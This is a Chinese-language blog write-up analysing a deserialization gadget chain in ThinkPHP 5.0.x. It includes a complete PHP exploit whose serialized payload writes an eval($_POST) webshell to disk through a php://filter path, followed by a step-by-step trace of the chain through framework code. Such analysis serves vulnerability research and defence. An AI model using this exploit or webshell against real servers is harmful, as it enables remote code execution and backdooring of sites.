重生之学习thinkphp5.0.x反序列化

前言

摸鱼两周,继续学习,审了一小段代码又不想审了,继续看thinkphp。

调用链分析

先给出exp吧,方便师傅们先理解

<?php
namespace think\process\pipes{
	class Windows {
		public $files=[];
	}
}

namespace think\model{
	class Pivot{
		public $error;
		public $parent;
		public $append=['ch1e'=>'getError'];
	}
}
namespace think\db{
    class Query
    {
        public $model;
    }
}
namespace think\console{
    class Output
    {
        public $handle;
        public $styles=['getAttr'];
    }
}
namespace think\model\relation{
    class HasOne{
        public $query;
        public $selfRelation=false;
        public $bindAttr=['a'=>'ch1e'];
    }
}
namespace think\session\driver{
    class Memcached{
        public $handler;
    }
}
namespace think\cache\driver{
    class File{
        public $options = [
            'path'=> 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
            'cache_subdir'=>false,
            'prefix'=>'',
            'data_compress'=>false
        ];
        public $tag=true;
    }
}
namespace{
	$file=new think\cache\driver\File();
    $memcached=new think\session\driver\Memcached();
    $output=new think\console\Output();
    $query=new think\db\Query();
    $hasone=new think\model\relation\HasOne();
    $pivot=new think\model\Pivot();
    $windows=new think\process\pipes\Windows();


    $memcached->handler=$file;
    $output->handle=$memcached;
    $query->model=$output;
    $hasone->query=$query;
    $pivot->parent=$output;
    $pivot->error=$hasone;
    $windows->files[]=$pivot;
    echo urlencode(serialize($windows));
}

这条链是从thinkphp/library/think/process/pipes/Windows.php中的__destruct方法作为入口

public function __destruct()
{
    $this->close();
    $this->removeFiles();
}

调用了自身的close和removeFiles方法,进入removeFiles方法

private function removeFiles()
{
    foreach ($this->files as $filename) {
        if (file_exists($filename)) {
            @unlink($filename);
        }
    }
    $this->files = [];
}

这里在unlink之前,判断了$filename是否存在,这里可以触发__toString方法,具体触发的是thinkphp/library/think/Model.php的toString方法,这里因为打这个下划线比较麻烦,我后面也都不打了。tostring方法如下

public function __toString()
{
    return $this->toJson();
}

继续跟进,实际上是调用了toArray方法,给出关键代码

if (!empty($this->append)) {
    foreach ($this->append as $key => $name) {
        if (is_array($name)) {
            // 追加关联对象属性
            $relation   = $this->getAttr($key);
            $item[$key] = $relation->append($name)->toArray();
        } elseif (strpos($name, '.')) {
            list($key, $attr) = explode('.', $name);
            // 追加关联对象属性
            $relation   = $this->getAttr($key);
            $item[$key] = $relation->append([$attr])->toArray();
        } else {
            $relation = Loader::parseName($name, 1, false);
            if (method_exists($this, $relation)) {
                $modelRelation = $this->$relation();
                $value         = $this->getRelationData($modelRelation);

                if (method_exists($modelRelation, 'getBindAttr')) {
                    $bindAttr = $modelRelation->getBindAttr();
                    if ($bindAttr) {
                        foreach ($bindAttr as $key => $attr) {
                            $key = is_numeric($key) ? $attr : $key;
                            if (isset($this->data[$key])) {
                                throw new Exception('bind attr has exists:' . $key);
                            } else {
                                $item[$key] = $value ? $value->getAttr($attr) : null;
                            }
                        }
                        continue;
                    }
                }
                $item[$name] = $value;
            } else {
                $item[$name] = $this->getAttr($name);
            }
        }
    }
}

我们的目的其实是要调用到$item[$key] = $value ? $value->getAttr($attr) : null;这行代码,此时的value应该是一个think/console/Output类,会触发他的call方法,但是这里需要先看执行到这行代码所需的条件

  1. isset(this>data[this->data[key])=false
  2. $bindAttr
  3. method_exists($modelRelation, 'getBindAttr')=true
  4. !empty($this->append)

此时的$value是output类的对象,那么要看看他是如何获得到这个对象。

$modelRelation = $this->$relation();
$value         = $this->getRelationData($modelRelation);

value是通过这两行代码获取到的,getRelationData方法如下

protected function getRelationData(Relation $modelRelation)
{
    if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
        $value = $this->parent;
    } else {
        // 首先获取关联数据
        if (method_exists($modelRelation, 'getRelation')) {
            $value = $modelRelation->getRelation();
        } else {
            throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
        }
    }
    return $value;
}

我们所需要的valuevalue是`this->parent.但是如果进入这个if判断需要满足三个条件,$this->parent肯定是满足的。传入的$modelRelation必须是Relation类型,并且isSelfRelation()的结果为false,modelRelation>getModel()outputRelationOneToOneHasOne,selfRelationfalsemodelRelation->getModel()`的结果应该是一个output类的对象,全局搜索Relation的子类,找到一个抽象类OneToOne,找到他的子类HasOne,需要selfRelation属性为false,并且`modelRelation->getModel()的结果是一个output类的对象,也就是$this->query->getModel()是一个output类的对象,这里就找到了thinkphp/library/think/db/Query.php`,他存在一个getModel方法如下

public function getModel()
{
    return $this->model;
}

所以只需要让HasOne类的query是query类,并且query类的model属性为output类,以及HasOne类的属性selfRelation为false即可。再来看一下$modelRelation = $this->$relation();这里是获取的modelRelation,前面分析了modelRelationHasOnemodelRelation应该是一个HasOne类,并且满足上面那些条件。modelRelation是通过自身的$relation方法获取到的,所以我们只需要找一个返回值可控的方法即可,自身存在着一个getError方法直接返回

public function getError()
{
    return $this->error;
}

所以这一块就很清晰了,构造这个Model类,error属性是刚刚那个构造好的HasOne对象,并且$relation的值是getError。看完value怎么获取。来看看attr怎么获取

if (method_exists($modelRelation, 'getBindAttr')) {
    $bindAttr = $modelRelation->getBindAttr();
    if ($bindAttr) {
        foreach ($bindAttr as $key => $attr) {
            $key = is_numeric($key) ? $attr : $key;
            if (isset($this->data[$key])) {
                throw new Exception('bind attr has exists:' . $key);
            } else {
                $item[$key] = $value ? $value->getAttr($attr) : null;
            }
        }
        continue;
    }
}

attr是bindattr关联数组中的值。bindattr关联数组是通过调用getBindAttr获取,在HasOne对象中,他 是继承自OneToOne类,在OneToOne类中声明了getBindAttr方法,返回的是自身bindAttr属性值,所以可以进入第一个if判断,所以我们只需要在HasOne类中设置他的bindAttr属性值即可,这里具体设置什么值得后面再看,先继续往下走,应该是轮到调用thinkphp/library/think/console/Output.php的call方法

public function __call($method, $args)
{
    if (in_array($method, $this->styles)) {
        array_unshift($args, $method);
        return call_user_func_array([$this, 'block'], $args);
    }

    if ($this->handle && method_exists($this->handle, $method)) {
        return call_user_func_array([$this->handle, $method], $args);
    } else {
        throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
    }
}

有两个if判断,分别都使用了call_user_func_array方法,如果走第一个if判断,就是调用的自身的block方法,所以这里的argsargs就是之前的attr,但是在调用前把method插入到args最前面了,所以这里的style参数应该是getAttr,message才是数组里的值,继续跟进看看

protected function block($style, $message)
{
    $this->writeln("<{$style}>{$message}</$style>");
}

调用了writeln,继续跟进

public function writeln($messages, $type = self::OUTPUT_NORMAL)
{
    $this->write($messages, true, $type);
}

再跟进,此时的$messages应该是<getAttr>xxxx<getAttr>,这里的xxx是在bindAttr中传入的

public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{
    $this->handle->write($messages, $newline, $type);
}

发现是调用了handle属性的write方法,全局搜索write方法,在thinkphp/library/think/session/driver/Memcached.php这个位置有个write方法

public function write($sessID, $sessData)
{
    return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']);
}

他可以调用任意类的set方法,因为handler可控,继续搜索set方法,找到thinkphp/library/think/cache/driver/File.php的set方法,具体如下

public function set($name, $value, $expire = null)
{
    if (is_null($expire)) {
        $expire = $this->options['expire'];
    }
    if ($expire instanceof \DateTime) {
        $expire = $expire->getTimestamp() - time();
    }
    $filename = $this->getCacheKey($name, true);
    if ($this->tag && !is_file($filename)) {
        $first = true;
    }
    $data = serialize($value);
    if ($this->options['data_compress'] && function_exists('gzcompress')) {
        //数据压缩
        $data = gzcompress($data, 3);
    }
    $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
    $result = file_put_contents($filename, $data);
    if ($result) {
        isset($first) && $this->setTagItem($filename);
        clearstatcache();
        return true;
    } else {
        return false;
    }
}

他主要是个写入缓存的功能,存在一个file_put_contents写入文件,在上面说到,前面的$message应该是<getAttr>xxxx<getAttr>,所以在传入到File类的set方法的第一个参数就是<getAttr>xxxx<getAttr>,第二个参数是默认false,filename是通过 $filename = $this->getCacheKey($name, true);获取,跟进getCacheKey方法

protected function getCacheKey($name, $auto = false)
{
    $name = md5($name);
    if ($this->options['cache_subdir']) {
        // 使用子目录
        $name = substr($name, 0, 2) . DS . substr($name, 2);
    }
    if ($this->options['prefix']) {
        $name = $this->options['prefix'] . DS . $name;
    }
    $filename = $this->options['path'] . $name . '.php';
    $dir      = dirname($filename);

    if ($auto && !is_dir($dir)) {
        mkdir($dir, 0755, true);
    }
    return $filename;
}

namename从这个方法里出来以后就变成了`this->options['path'].md5(name).phpname).php`文件名其实是可控的,但是在上面的方法里的data是不可控的, 因为他是序列化第二个参数的结果,前面说到了是默认是false的,所以只能继续看在set方法中调用的setTagItem方法

protected function setTagItem($name)
{
    if ($this->tag) {
        $key       = 'tag_' . md5($this->tag);
        $this->tag = null;
        if ($this->has($key)) {
            $value   = explode(',', $this->get($key));
            $value[] = $name;
            $value   = implode(',', array_unique($value));
        } else {
            $value = $name;
        }
        $this->set($key, $value, 0);
    }
}

这里在最后又调用了自身的set方法,并且这里的key和value都可控,因为key是tag_md5($this->tag),value就是传进来的之前的filename。所以整条链子已经分析完了,但是这里还涉及到一个问题就是这个文件名的问题,具体可以见这个文章:https://xz.aliyun.com/t/7457

image-20220527202042791

疑惑点

其实我是比较疑惑的就是在构造exp的时候,Model类为什么要换成他的子类Pivot呢,因为上面的exp是直接拿的别的师傅的,希望有知道的师傅能帮忙解答一下

参考

https://xz.aliyun.com/t/10364#toc-1